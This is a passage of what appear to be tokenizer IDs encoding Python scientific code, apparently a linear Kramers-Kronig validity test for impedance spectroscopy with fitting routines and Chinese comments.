76, 12, 16, 11, 327, 76, 12, 16, 4357, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2361, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 12820, 25, 12178, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 751, 62, 34, 25, 347, 970, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 11011, 5248, 796, 848, 5248, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 86, 62, 3258, 796, 2116, 13, 11011, 5248, 13, 86, 62, 3258, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 89, 62, 3258, 796, 2116, 13, 11011, 5248, 13, 89, 62, 3258, 628, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 11147, 62, 4906, 796, 4197, 62, 4906, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 84, 62, 8738, 2847, 796, 334, 62, 8738, 2847, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 2860, 62, 34, 796, 751, 62, 34, 628, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 44, 796, 352, 628, 220, 220, 220, 220, 220, 220, 220, 611, 357, 44, 62, 9806, 318, 407, 6045, 8, 290, 357, 4906, 7, 44, 62, 9806, 8, 6624, 493, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 44, 62, 9806, 796, 337, 62, 9806, 198, 220, 220, 220, 220, 220, 220, 220, 2073, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 1136, 62, 44, 9806, 3419, 628, 220, 220, 220, 825, 651, 62, 44, 9806, 7, 944, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 337, 62, 9806, 5525, 106, 122, 163, 121, 106, 30266, 94, 20015, 114, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 4006, 352, 12, 14962, 16, 25, 1081, 257, 3896, 286, 15683, 356, 460, 13796, 326, 11, 329, 262, 2060, 4197, 290, 13389, 11, 262, 410, 2837, 815, 307, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 4961, 284, 262, 34062, 266, 2837, 351, 257, 6082, 286, 718, 393, 767, 309, 6359, 583, 5707, 13, 10263, 250, 101, 32573, 247, 34932, 234, 37863, 235, 163, 101, 235, 36181, 106, 20998, 244, 21410, 162, 249, 112, 32014, 31660, 12859, 249, 807, 1635, 4647, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 4006, 362, 12, 10263, 250, 101, 53, 519, 270, 10263, 235, 243, 45379, 105, 45635, 18796, 101, 10263, 106, 252, 32849, 101, 14, 164, 247, 21253, 225, 101, 162, 233, 253, 28938, 230, 33768, 114, 171, 120, 234, 18796, 109, 12859, 236, 163, 111, 119, 46763, 108, 163, 253, 102, 165, 246, 113, 32, 357, 808, 951, 8, 5525, 99, 223, 162, 109, 224, 686, 75, 28, 39612, 2173, 1875, 951, 28, 17618, 286, 10007, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 1303, 4006, 352, 198, 220, 220, 220, 220, 220, 220, 220, 337, 16, 796, 493, 7, 11018, 13, 6404, 940, 7, 944, 13, 86, 62, 3258, 13, 9806, 3419, 1220, 2116, 13, 86, 62, 3258, 13, 1084, 3419, 4008, 1635, 767, 628, 220, 220, 220, 220, 220, 220, 220, 1303, 4006, 362, 198, 220, 220, 220, 220, 220, 220, 220, 997, 62, 13033, 796, 2116, 13, 86, 62, 3258, 13, 7857, 198, 220, 220, 220, 220, 220, 220, 220, 611, 2116, 13, 2860, 62, 34, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 337, 17, 796, 997, 62, 13033, 532, 513, 532, 352, 198, 220, 220, 220, 220, 220, 220, 220, 2073, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 337, 17, 796, 997, 62, 13033, 532, 362, 532, 352, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 44, 62, 9806, 796, 949, 7, 44, 16, 11, 337, 17, 8, 628, 220, 220, 220, 825, 42302, 62, 2435, 3103, 18797, 7, 944, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 640, 3103, 18797, 796, 256, 5488, 796, 371, 1635, 327, 198, 220, 220, 220, 220, 220, 220, 220, 33973, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 317, 11789, 329, 12205, 1075, 262, 3851, 436, 1108, 286, 14174, 509, 859, 364, 12, 42, 1313, 328, 3254, 17995, 30307, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 362, 13, 17, 13, 27484, 286, 3862, 4757, 1187, 412, 80, 838, 12, 1065, 198, 220, 220, 220, 220, 220, 220, 220, 1058, 7783, 25, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 23243, 62, 86, 62, 3258, 796, 45941, 13, 30619, 7, 30073, 13, 22089, 30073, 7, 944, 13, 86, 62, 3258, 4008, 220, 1303, 1402, 14610, 1263, 1271, 198, 220, 220, 220, 220, 220, 220, 220, 266, 62, 1084, 11, 266, 62, 9806, 796, 23243, 62, 86, 62, 3258, 58, 15, 4357, 23243, 62, 86, 62, 3258, 58, 12, 16, 60, 628, 220, 220, 220, 220, 220, 220, 220, 1303, 3862, 20217, 46651, 13328, 242, 101, 256, 5488, 26193, 101, 163, 97, 118, 198, 220, 220, 220, 220, 220, 220, 220, 256, 5488, 62, 1084, 796, 352, 1220, 266, 62, 9806, 198, 220, 220, 220, 220, 220, 220, 220, 256, 5488, 62, 9806, 796, 352, 1220, 266, 62, 1084, 628, 220, 220, 220, 220, 220, 220, 220, 256, 5488, 62, 4868, 796, 17635, 198, 220, 220, 220, 220, 220, 220, 220, 611, 2116, 13, 44, 6624, 352, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 256, 5488, 62, 4868, 13, 33295, 7, 83, 5488, 62, 1084, 8, 198, 220, 220, 220, 220, 220, 220, 220, 1288, 361, 2116, 13, 44, 6624, 362, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 256, 5488, 62, 4868, 13, 2302, 437, 26933, 83, 5488, 62, 1084, 11, 256, 5488, 62, 9806, 12962, 198, 220, 220, 220, 220, 220, 220, 220, 1288, 361, 2116, 13, 44, 1875, 362, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 256, 5488, 62, 4868, 13, 33295, 7, 83, 5488, 62, 1084, 8, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 509, 796, 2116, 13, 44, 532, 352, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 329, 1312, 287, 2837, 7, 16, 11, 509, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 256, 5488, 796, 838, 12429, 357, 11018, 13, 6404, 940, 7, 83, 5488, 62, 1084, 8, 1343, 1312, 1635, 10688, 13, 6404, 940, 7, 83, 5488, 62, 9806, 1220, 256, 5488, 62, 1084, 8, 1220, 357, 944, 13, 44, 532, 352, 4008, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 256, 5488, 62, 4868, 13, 33295, 7, 83, 5488, 8, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 256, 5488, 62, 4868, 13, 33295, 7, 83, 5488, 62, 9806, 8, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 83, 5488, 62, 3258, 796, 45941, 13, 18747, 7, 83, 5488, 62, 4868, 8, 628, 220, 220, 220, 825, 4296, 62, 84, 7, 944, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 3522, 3348, 15, 12, 27363, 2481, 198, 220, 220, 220, 220, 220, 220, 220, 1058, 7783, 25, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 611, 2116, 13, 11147, 62, 4906, 6624, 705, 41887, 10354, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 44, 62, 49, 62, 3258, 796, 2116, 13, 1845, 64, 62, 3258, 58, 16, 21912, 17, 60, 628, 220, 220, 220, 220, 220, 220, 220, 3967, 62, 49, 62, 4868, 796, 17635, 198, 220, 220, 220, 220, 220, 220, 220, 2469, 83, 425, 62, 49, 62, 4868, 796, 17635, 198, 220, 220, 220, 220, 220, 220, 220, 329, 371, 287, 2116, 13, 44, 62, 49, 62, 3258, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 611, 371, 18189, 657, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 3967, 62, 49, 62, 4868, 13, 33295, 7, 49, 8, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1288, 361, 371, 1279, 657, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2469, 83, 425, 62, 49, 62, 4868, 13, 33295, 7, 49, 8, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 84, 796, 352, 532, 2352, 7, 16345, 7, 12480, 83, 425, 62, 49, 62, 4868, 4008, 1220, 2160, 7, 24561, 62, 49, 62, 4868, 8, 628, 220, 220, 220, 825, 4197, 62, 28747, 7, 944, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 4231, 14, 320, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 399, 5752, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 337, 10, 17, 393, 337, 10, 18, 7, 4480, 5339, 8, 951, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 4231, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 951, 657, 25, 12820, 7, 86, 15, 8, 1220, 930, 57, 7, 86, 15, 14726, 11, 12820, 7, 86, 16, 8, 1220, 930, 57, 7, 86, 16, 14726, 11, 12820, 7, 86, 17, 8, 1220, 930, 57, 7, 86, 17, 14726, 11, 2644, 11, 12820, 7, 86, 62, 45, 12, 16, 8, 1220, 930, 57, 7, 86, 62, 45, 12, 16, 14726, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 951, 352, 25, 1168, 62, 7397, 74, 62, 15, 7, 86, 15, 8, 62, 260, 796, 371, 74, 62, 15, 1220, 1391, 58, 16, 33747, 86, 15, 9, 83, 5488, 15, 8, 1174, 17, 60, 9, 91, 57, 7, 86, 15, 14726, 5512, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1168, 62, 7397, 74, 62, 15, 7, 86, 16, 8, 62, 260, 796, 371, 74, 62, 15, 1220, 1391, 58, 16, 33747, 86, 16, 9, 83, 5488, 15, 8, 1174, 17, 60, 9, 91, 57, 7, 86, 16, 14726, 92, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1168, 62, 7397, 74, 62, 15, 7, 86, 17, 8, 62, 260, 796, 371, 74, 62, 15, 1220, 1391, 58, 16, 33747, 86, 17, 9, 83, 5488, 15, 8, 1174, 17, 60, 9, 91, 57, 7, 86, 17, 14726, 5512, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2644, 11, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1168, 62, 7397, 74, 62, 15, 7, 86, 62, 45, 12, 16, 8, 62, 260, 796, 371, 74, 62, 15, 1220, 1391, 58, 16, 33747, 86, 62, 45, 12, 16, 9, 83, 5488, 62, 15, 8, 1174, 17, 60, 9, 91, 57, 7, 86, 62, 45, 12, 16, 14726, 92, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2644, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 951, 479, 7, 44, 2599, 1168, 62, 7397, 74, 62, 74, 7, 86, 15, 8, 62, 260, 796, 371, 74, 62, 74, 1220, 1391, 58, 16, 33747, 86, 15, 9, 8326, 482, 8, 1174, 17, 60, 9, 91, 57, 7, 86, 15, 14726, 5512, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1168, 62, 7397, 74, 62, 74, 7, 86, 16, 8, 62, 260, 796, 371, 74, 62, 74, 1220, 1391, 58, 16, 33747, 86, 16, 9, 8326, 482, 8, 1174, 17, 60, 9, 91, 57, 7, 86, 16, 14726, 92, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1168, 62, 7397, 74, 62, 74, 7, 86, 17, 8, 62, 260, 796, 371, 74, 62, 74, 1220, 1391, 58, 16, 33747, 86, 17, 9, 8326, 482, 8, 1174, 17, 60, 9, 91, 57, 7, 86, 17, 14726, 5512, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2644, 11, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1168, 62, 7397, 74, 62, 74, 7, 86, 62, 45, 12, 16, 8, 62, 260, 796, 371, 74, 62, 74, 1220, 1391, 58, 16, 33747, 86, 62, 45, 12, 16, 9, 83, 5488, 62, 74, 8, 1174, 17, 60, 9, 91, 57, 7, 86, 62, 45, 12, 16, 14726, 92, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 951, 532, 17, 7, 34, 2599, 10263, 99, 224, 162, 252, 250, 27950, 254, 42404, 171, 120, 234, 22522, 225, 43380, 117, 165, 246, 119, 162, 232, 245, 22522, 252, 32849, 101, 21410, 164, 112, 94, 163, 234, 106, 10310, 118, 15, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 657, 11, 657, 11, 657, 11, 2644, 11, 657, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 951, 532, 16, 7, 43, 2599, 406, 43380, 117, 165, 246, 119, 162, 232, 245, 22522, 252, 32849, 101, 21410, 164, 112, 94, 163, 234, 106, 10310, 118, 15, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 657, 11, 657, 11, 657, 11, 2644, 11, 657, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 36223, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 951, 657, 25, 12820, 7, 37686, 8, 62, 320, 796, 657, 11, 657, 11, 15, 11, 15, 42303, 11, 15, 11, 15, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 951, 352, 25, 1168, 62, 7397, 74, 62, 15, 7, 86, 15, 8, 62, 320, 796, 13841, 16, 1635, 266, 15, 1635, 371, 74, 62, 15, 1635, 256, 5488, 15, 8, 1220, 1391, 58, 16, 33747, 86, 15, 9, 83, 5488, 15, 8, 1174, 17, 60, 9, 91, 57, 7, 86, 15, 14726, 5512, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1168, 62, 7397, 74, 62, 15, 7, 86, 16, 8, 62, 320, 796, 13841, 16, 1635, 266, 16, 1635, 371, 74, 62, 15, 1635, 256, 5488, 15, 8, 1220, 1391, 58, 16, 33747, 86, 16, 9, 83, 5488, 15, 8, 1174, 17, 60, 9, 91, 57, 7, 86, 16, 14726, 5512, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1168, 62, 7397, 74, 62, 15, 7, 86, 17, 8, 62, 320, 796, 13841, 16, 1635, 266, 17, 1635, 371, 74, 62, 15, 1635, 256, 5488, 15, 8, 1220, 1391, 58, 16, 33747, 86, 17, 9, 83, 5488, 15, 8, 1174, 17, 60, 9, 91, 57, 7, 86, 17, 14726, 5512, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2644, 11, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1168, 62, 7397, 74, 62, 15, 7, 86, 62, 45, 12, 16, 8, 62, 320, 796, 13841, 16, 1635, 266, 62, 45, 12, 16, 1635, 371, 74, 62, 15, 1635, 256, 5488, 15, 8, 1220, 1391, 58, 16, 33747, 86, 62, 45, 12, 16, 9, 83, 5488, 15, 8, 1174, 17, 60, 9, 91, 57, 7, 86, 15, 62, 45, 12, 16, 14726, 5512, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2644, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 951, 479, 7, 44, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 951, 532, 17, 7, 34, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 951, 532, 16, 7, 43, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 1058, 7783, 25, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 4231, 796, 45941, 13, 9107, 418, 7, 43358, 16193, 944, 13, 86, 62, 3258, 13, 7857, 11, 2116, 13, 44, 1343, 362, 4008, 198, 220, 220, 220, 220, 220, 220, 220, 36223, 796, 45941, 13, 9107, 418, 7, 43358, 16193, 944, 13, 86, 62, 3258, 13, 7857, 11, 2116, 13, 44, 1343, 362, 4008, 628, 220, 220, 220, 220, 220, 220, 220, 611, 2116, 13, 2860, 62, 34, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 4231, 796, 45941, 13, 9107, 418, 7, 43358, 16193, 944, 13, 86, 62, 3258, 13, 7857, 11, 2116, 13, 44, 1343, 513, 4008, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 36223, 796, 45941, 13, 9107, 418, 7, 43358, 16193, 944, 13, 86, 62, 3258, 13, 7857, 11, 2116, 13, 44, 1343, 513, 4008, 628, 220, 220, 220, 220, 220, 220, 220, 1303, 12820, 951, 198, 220, 220, 220, 220, 220, 220, 220, 4231, 58, 45299, 15, 60, 796, 352, 1220, 45941, 13, 8937, 7, 944, 13, 89, 62, 3258, 8, 198, 220, 220, 220, 220, 220, 220, 220, 1303, 36223, 58, 45299, 15, 60, 796, 45941, 13, 9107, 418, 7, 43358, 16193, 944, 13, 86, 62, 3258, 13, 7857, 4008, 42164, 105, 30266, 98, 22887, 109, 42468, 15, 628, 220, 220, 220, 220, 220, 220, 220, 1303, 13987, 62, 16, 93, 44, 951, 198, 220, 220, 220, 220, 220, 220, 220, 329, 1312, 287, 2837, 7, 944, 13, 44, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 4231, 58, 45299, 1312, 10, 16, 60, 796, 13987, 7, 1845, 64, 62, 3258, 28, 37659, 13, 18747, 26933, 16, 11, 2116, 13, 83, 5488, 62, 3258, 58, 72, 11907, 828, 266, 62, 3258, 28, 944, 13, 86, 62, 3258, 737, 5305, 1220, 45941, 13, 8937, 7, 944, 13, 89, 62, 3258, 8, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 36223, 58, 45299, 1312, 10, 16, 60, 796, 13987, 7, 1845, 64, 62, 3258, 28, 37659, 13, 18747, 26933, 16, 11, 2116, 13, 83, 5488, 62, 3258, 58, 72, 11907, 828, 266, 62, 3258, 28, 944, 13, 86, 62, 3258, 737, 48466, 1220, 45941, 13, 8937, 7, 944, 13, 89, 62, 3258, 8, 628, 220, 220, 220, 220, 220, 220, 220, 611, 2116, 13, 2860, 62, 34, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1303, 4231, 58, 45299, 532, 17, 60, 796, 45941, 13, 9107, 418, 7, 43358, 16193, 944, 13, 86, 62, 3258, 13, 7857, 4008, 42164, 105, 30266, 98, 22887, 109, 42468, 15, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 36223, 58, 45299, 532, 17, 60, 796, 532, 16, 1220, 357, 944, 13, 86, 62, 3258, 1635, 45941, 13, 8937, 7, 944, 13, 89, 62, 3258, 4008, 628, 220, 220, 220, 220, 220, 220, 220, 36223, 58, 45299, 532, 16, 60, 796, 2116, 13, 86, 62, 3258, 1220, 45941, 13, 8937, 7, 944, 13, 89, 62, 3258, 8, 628, 220, 220, 220, 220, 220, 220, 220, 611, 2116, 13, 11147, 62, 4906, 6624, 705, 5305, 10354, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 1845, 64, 62, 3258, 796, 45941, 13, 75, 1292, 70, 13, 11635, 85, 7, 8491, 737, 26518, 7, 944, 13, 89, 62, 3258, 13, 5305, 1220, 45941, 13, 8937, 7, 944, 13, 89, 62, 3258, 4008, 628, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 16276, 320, 796, 45941, 13, 9107, 418, 7, 43358, 16193, 944, 13, 86, 62, 3258, 13, 7857, 11, 362, 4008, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1303, 10545, 254, 117, 162, 235, 106, 20189, 15, 12, 14993, 12, 16601, 12, 36, 80, 940, 10263, 228, 235, 162, 252, 226, 34460, 254, 31660, 163, 119, 226, 43095, 163, 101, 233, 10545, 109, 224, 34, 161, 240, 234, 43, 11, 1395, 28, 352, 14, 34, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1303, 1366, 329, 406, 12, 4033, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1303, 36223, 58, 45299, 532, 16, 60, 796, 2116, 13, 86, 62, 3258, 1220, 45941, 13, 8937, 7, 944, 13, 89, 62, 3258, 8, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 16276, 320, 58, 45299, 532, 16, 60, 796, 2116, 13, 86, 62, 3258, 1220, 45941, 13, 8937, 7, 944, 13, 89, 62, 3258, 8, 628, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1303, 1366, 329, 327, 12, 4033, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 611, 2116, 13, 2860, 62, 34, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 16276, 320, 58, 45299, 532, 17, 60, 796, 532, 16, 1220, 2116, 13, 86, 62, 3258, 1220, 45941, 13, 8937, 7, 944, 13, 89, 62, 3258, 8, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1303, 36223, 58, 45299, 532, 17, 60, 796, 532, 16, 1220, 2116, 13, 86, 62, 3258, 1220, 45941, 13, 8937, 7, 944, 13, 89, 62, 3258, 8, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 1845, 64, 62, 3258, 58, 12, 17, 60, 796, 220, 31660, 10310, 103, 36181, 230, 22887, 237, 21410, 29826, 96, 46763, 108, 10263, 99, 224, 16, 68, 12, 1507, 13328, 248, 226, 43889, 253, 32368, 254, 171, 120, 248, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 10263, 250, 101, 11147, 62, 4906, 6624, 705, 5305, 6, 33768, 114, 171, 120, 234, 2116, 13, 1845, 64, 62, 3258, 796, 45941, 13, 75, 1292, 70, 13, 11635, 85, 7, 8491, 737, 26518, 7, 944, 13, 89, 62, 3258, 13, 5305, 1220, 45941, 13, 8937, 7, 944, 13, 89, 62, 3258, 4008, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 10263, 122, 245, 26344, 108, 21410, 31215, 62, 3258, 31854, 12, 17, 171, 120, 248, 31817, 796, 220, 31854, 55, 171, 120, 234, 43, 31817, 6624, 220, 31854, 15, 171, 120, 234, 657, 31817, 171, 120, 234, 18796, 109, 12859, 236, 10310, 233, 43095, 47987, 163, 254, 223, 165, 102, 105, 41468, 165, 250, 222, 17358, 223, 164, 106, 94, 163, 106, 245, 10545, 233, 253, 28938, 230, 20998, 224, 46763, 108, 33699, 222, 36181, 245, 21410, 165, 246, 119, 162, 232, 245, 171, 120, 234, 164, 106, 94, 163, 106, 245, 32274, 21410, 165, 246, 119, 162, 232, 245, 33768, 114, 171, 120, 234, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 327, 82, 28, 16, 14, 55, 171, 120, 234, 32368, 254, 55, 28, 15, 171, 120, 234, 32274, 12, 5099, 233, 18943, 171, 120, 234, 33699, 222, 17312, 231, 17358, 223, 163, 119, 247, 55, 31660, 10310, 103, 33232, 227, 17358, 223, 21410, 23513, 36181, 230, 22887, 237, 21410, 29826, 96, 46763, 108, 171, 120, 234, 30266, 98, 165, 246, 110, 29826, 95, 164, 106, 94, 163, 106, 245, 41468, 162, 118, 95, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1303, 2116, 13, 1845, 64, 62, 3258, 58, 12, 17, 60, 796, 352, 68, 12, 1238, 628, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1303, 2116, 13, 14323, 5039, 62, 57, 3419, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1303, 45218, 62, 1845, 64, 62, 3258, 796, 45941, 13, 75, 1292, 70, 13, 11635, 85, 7, 49945, 737, 26518, 19510, 944, 13, 89, 62, 3258, 13, 48466, 532, 2116, 13, 89, 62, 14323, 62, 3258, 13, 48466, 8, 1220, 45941, 13, 8937, 7, 944, 13, 89, 62, 3258, 4008, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1976, 62, 85, 519, 270, 62, 3258, 796, 2116, 13, 14323, 5039, 62, 85, 519, 270, 3419, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 16276, 796, 45941, 13, 75, 1292, 70, 13, 11635, 85, 7, 49945, 737, 26518, 19510, 944, 13, 89, 62, 3258, 13, 48466, 532, 1976, 62, 85, 519, 270, 62, 3258, 13, 48466, 8, 1220, 45941, 13, 8937, 7, 944, 13, 89, 62, 3258, 4008, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1303, 2116, 13, 1845, 64, 62, 3258, 58, 12, 16, 60, 796, 45218, 62, 1845, 64, 62, 3258, 58, 12, 16, 60, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 1845, 64, 62, 3258, 58, 12, 16, 60, 796, 16276, 58, 12, 16, 60, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 611, 2116, 13, 2860, 62, 34, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1303, 2116, 13, 1845, 64, 62, 3258, 58, 12, 17, 60, 796, 45218, 62, 1845, 64, 62, 3258, 58, 12, 17, 60, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 1845, 64, 62, 3258, 58, 12, 17, 60, 796, 16276, 58, 12, 17, 60, 628, 220, 220, 220, 220, 220, 220, 220, 1288, 361, 2116, 13, 11147, 62, 4906, 6624, 705, 48466, 10354, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 1845, 64, 62, 3258, 796, 45941, 13, 75, 1292, 70, 13, 11635, 85, 7, 49945, 737, 26518, 7, 944, 13, 89, 62, 3258, 13, 48466, 1220, 45941, 13, 8937, 7, 944, 13, 89, 62, 3258, 4008, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 10545, 254, 117, 162, 235, 106, 3348, 16, 12, 2815, 12, 16601, 12, 36, 80, 22, 5525, 106, 94, 163, 106, 245, 12820, 198, 